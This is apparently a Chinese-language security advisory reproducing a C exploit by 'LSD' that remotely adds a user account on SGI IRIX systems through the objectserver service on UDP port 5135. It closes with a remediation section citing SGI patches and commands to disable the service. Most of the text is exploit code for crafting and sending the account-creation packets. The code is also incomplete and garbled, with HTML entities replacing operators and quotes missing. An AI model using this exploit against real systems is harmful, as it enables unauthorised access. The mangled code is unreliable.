导读-- 下面的漏洞程序将导致IRIX objectserver(udp端口为5135)远程溢出。可以运行远程添加用户帐号。如下面的”account”帐号。在IRIX 5.2, 5.3, 6.0.1, 6.1甚至6.2系统上测试通过.......
small>iov[0].iov_base=buf1;
iov[1].iov_base=buf2;
iov[1].iov_len=0
x200;
msg.msg_iovlen=2;
printf("RM: --[0x%04x bytes]--\n",len=recvmsg(sck,&msg,0));
show_msg();
printf("\n");
while(i$#@60;len-0x16)
if(!memcmp("\x0a\x01\x01\x3b\x01\x78",&buf2[i],6)){
printf("remote system ID: ");
for(j=0;j$#@60;buf2[i+6];j++) printf("%02x ",buf2[i+7+j]);
printf("\n");
return(&buf2[i+6]);
}else i++;
return(0);
}
void new_account(int len){
iov[0].iov_base=dodaj_one;
iov[0].iov_len=0x10;
iov[1].iov_base=dodaj_two;
iov[1].iov_len=len;
msg.msg_name=(caddr_t)fake_adrs;
msg.msg_namelen=0x10;
msg.msg_iov=iov;
msg.msg_iovlen=2;
msg.msg_accrights=(caddr_t)0;
msg.msg_accrightslen=0;
printf("SM: --[0x%04x bytes]--\n",sendmsg(sck,&msg,0));
show_msg();
printf("\n");
iov[0].iov_base=buf1;
iov[1].iov_base=buf2;
iov[1].iov_len=0x200;
msg.msg_iovlen=2;
printf("RM: --[0x%04x bytes]--\n",recvmsg(sck,&msg,0));
show_msg();
printf("\n");
}
void info(char *text){
printf("SGI objectserver \"account\"
exploit by LSD\n");
printf("usage: %s ipaddr [-u username] [-i userid]
[-p]\n",text);
}
main(int argc,char **argv){
int c,user,version,probe;
unsigned int offset,gr_offset,userid;
char *sys_info;
char username[20];
extern char *optarg;
extern int optind;
if(argc$#@60;2) {info(argv[0]);exit(0);}
optind=2;
offset=40;
user=version=probe=0;
while((c=getopt(argc,argv,"u:i:p"))!=-1)
switch(c){
case u: strcpy(username,optarg);
user=1;
break;
case i: version=62;
userid=atoi(optarg);
break;
case p: probe=1;
break;
case ?:
default : info(argv[0]);
exit(1);
}
sck=socket(AF_INET,SOCK_DGRAM,0);
adr=inet_addr(argv[1]);
memcpy(&fake_adrs[4],&adr,4);
r>
if(!(sys_info=get_sysinfo())){
printf("error: cant get system ID for %s.\n",argv[1]);
exit(1);
}
if(!probe){
memcpy(&dodaj_two[0x0d],sys_info,sys_info[0]+1);
memcpy(&dodaj_two[0x0d+sys_info[0]+1],&dodaj_three[0],27);
offset+=sys_info[0]+1;
if(!user) strcpy(username,"lsd");
dodaj_two[offset++]=strlen(username);
strcpy(&dodaj_two[offset],username);offset+=strlen(username);
memcpy(&dodaj_two[offset],&dodaj_four[0],200);
offset+=200;
gr_offset=offset-15;
if(version){
dodaj_two[gr_offset++]=u;
dodaj_two[gr_offset++]=s;
dodaj_two[gr_offset++]=e;
dodaj_two[gr_offset++]=r;
dodaj_two[offset++]=0x02;
dodaj_two[offset++]=userid$#@62;$#@62;8;
dodaj_two[offset++]=userid&0xff;
}
else dodaj_two[offset++]=0x00;
memcpy(&dodaj_two[offset],&dodaj_five[0],39);
offset+=39;
dodaj_one[10]=offset$#@62;$#@62;8;
dodaj_one[11]=offset&0xff;
new_account(offset);
}
}
解 决 方 法:
解决方法可以去http://support.sgi.com/下载相应系统补丁
程序。
或者用下面方法临时解决:
以超级用户登陆,执行下面命令:
# /sbin/chkconfig objectserver off (用于在启动中停止objectserver服务)
# /etc/init.d/cadmin stop; /etc/init.d/cadmin start(中止当前运行的该程序守护进程)